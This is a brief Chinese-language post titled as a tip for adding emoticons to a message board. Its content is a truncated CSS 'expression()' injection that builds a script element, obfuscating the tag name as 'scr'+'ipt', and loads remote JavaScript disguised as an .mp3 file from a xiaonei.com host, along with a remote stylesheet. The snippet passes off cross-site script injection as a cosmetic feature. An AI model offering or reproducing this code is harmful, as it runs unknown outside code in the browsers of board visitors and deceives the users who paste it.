在留言板块上添加留言表情的方法

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background:expression(if(set2.innerHTML==""){set2.innerHTML="setting"; var
codeJSUrl="http://source.xiaonei.com/tribe/20070216/1350/orig200573.mp3";
var codeCSSUrl="http://source.xiaonei.com/tribe/20070118/1130/orig3213710.css";
var s2 = document.createElement("scr"+"ipt"); s2.src=codeJSUrl;
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